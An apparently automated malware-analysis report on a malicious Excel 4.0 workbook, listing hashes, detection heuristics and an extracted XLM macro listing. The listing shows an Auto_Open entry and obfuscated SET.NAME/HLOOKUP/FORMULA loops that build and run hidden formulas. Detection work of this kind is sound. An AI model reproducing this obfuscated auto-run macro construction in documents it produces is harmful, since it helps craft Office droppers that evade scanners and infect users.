Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 38e95995f7a88747…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:35:47 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: f2b657c3ace27b294b8a493436ab5deb SHA-1: aa7d34307b64026bd5391756039544860a1ce3f3 SHA-256: 38e95995f7a887471754d6ff074912fb72b7b3f4992bc6468393d51aca9678b9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6673 bytes
SHA-256: a58dd51374cfa79a39cb9b445446c9023f73290d29f711fa2acb917c87f92bf0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MIbqGRKXquL
' 0018     21 LABEL : Cell Value, String Constant - aJFNrF len=0 
' 0018     25 LABEL : Cell Value, String Constant - alDQommfTm len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E185 
' 0018     23 LABEL : Cell Value, String Constant - CORYFLPQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - cXrLKsVtpTet len=0 
' 0018     23 LABEL : Cell Value, String Constant - dJtzEHtj len=0 
' 0018     25 LABEL : Cell Value, String Constant - GewiImpmlQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - hUBIdhiwPUc len=0 
' 0018     24 LABEL : Cell Value, String Constant - ievJTMKku len=0 
' 0018     22 LABEL : Cell Value, String Constant - IlNcgwM len=0 
' 0018     21 LABEL : Cell Value, String Constant - KHGNse len=0 
' 0018     24 LABEL : Cell Value, String Constant - MAybYQtOL len=0 
' 0018     24 LABEL : Cell Value, String Constant - PLhoMCEqr len=0 
' 0018     21 LABEL : Cell Value, String Constant - pofkhw len=0 
' 0018     27 LABEL : Cell Value, String Constant - QLBjSZkwEDlX len=0 
' 0018     26 LABEL : Cell Value, String Constant - Rdafsjdoagg len=0 
' 0018     24 LABEL : Cell Value, String Constant - TsTqYaErH len=0 
' 0018     21 LABEL : Cell Value, String Constant - UNWlea len=0 
' 0018     25 LABEL : Cell Value, String Constant - WcoKkmNsOZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - YLUUxzi len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZsnliKGwso len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MIbqGRKXquL,E99,"SET.NAME("GewiImpmlQ",VALUE("0"))",""
'  MIbqGRKXquL,E101,"SET.NAME("pofkhw",GewiImpmlQ)",""
'  MIbqGRKXquL,E103,"SET.NAME("YLUUxzi",GewiImpmlQ)",""
'  MIbqGRKXquL,E108,"SET.NAME("TsTqYaErH",COUNTA(WcoKkmNsOZ))",""
'  MIbqGRKXquL,E111,"SET.NAME("ZsnliKGwso",COUNTA(UNWlea))",""
'  MIbqGRKXquL,E114,[],""
'  MIbqGRKXquL,E119,"SET.NAME("MAybYQtOL","")",""
'  MIbqGRKXquL,E123,"pofkhw",""
'  MIbqGRKXquL,E127,"SET.NAME("hUBIdhiwPUc",HLOOKUP("*",WcoKkmNsOZ,pofkhw,FALSE))",""
'  MIbqGRKXquL,E129,"CORYFLPQ",""
'  MIbqGRKXquL,E134,"SET.NAME("QLBjSZkwEDlX",GewiImpmlQ)",""
'  MIbqGRKXquL,E139,[],""
'  MIbqGRKXquL,E144,"QLBjSZkwEDlX",""
'  MIbqGRKXquL,E147,"IlNcgwM",""
'  MIbqGRKXquL,E151,"dJtzEHtj",""
'  MIbqGRKXquL,E153,"PLhoMCEqr",""
'  MIbqGRKXquL,E156,"SET.NAME("aJFNrF",VALUE(HLOOKUP("*",UNWlea,PLhoMCEqr,FALSE)))",""
'  MIbqGRKXquL,E158,"KHGNse",""
'  MIbqGRKXquL,E161,"MAybYQtOL",""
'  MIbqGRKXquL,E165,"YLUUxzi",""
'  MIbqGRKXquL,E168,NEXT(),""
'  MIbqGRKXquL,E172,"Rdafsjdoagg",""
'  MIbqGRKXquL,E175,"SET.NAME("f",INT(T(FORMULA(T(MAybYQtOL)&"",""&T(Rdafsjdoagg)))))",""
'  MIbqGRKXquL,E178,"alDQommfTm",""
'  MIbqGRKXquL,E181,NEXT(),""
'  MIbqGRKXquL,E183,RETURN(),""
'  MIbqGRKXquL,E210,"SET.NAME("cXrLKsVtpTet",E99)",""
'  MIbqGRKXquL,E214,"WcoKkmNsOZ",""
'  MIbqGRKXquL,E217,"SET.NAME("UNWlea",R52C14)",""
'  MIbqGRKXquL,E220,"SET.NAME("alDQommfTm",230)",""
'  MIbqGRKXquL,E224,"SET.NAME("ievJTMKku",5)",""
'  MIbqGRKXquL,E229,cXrLKsVtpTet(),""
'  MIbqGRKXquL,E230,HALT(),""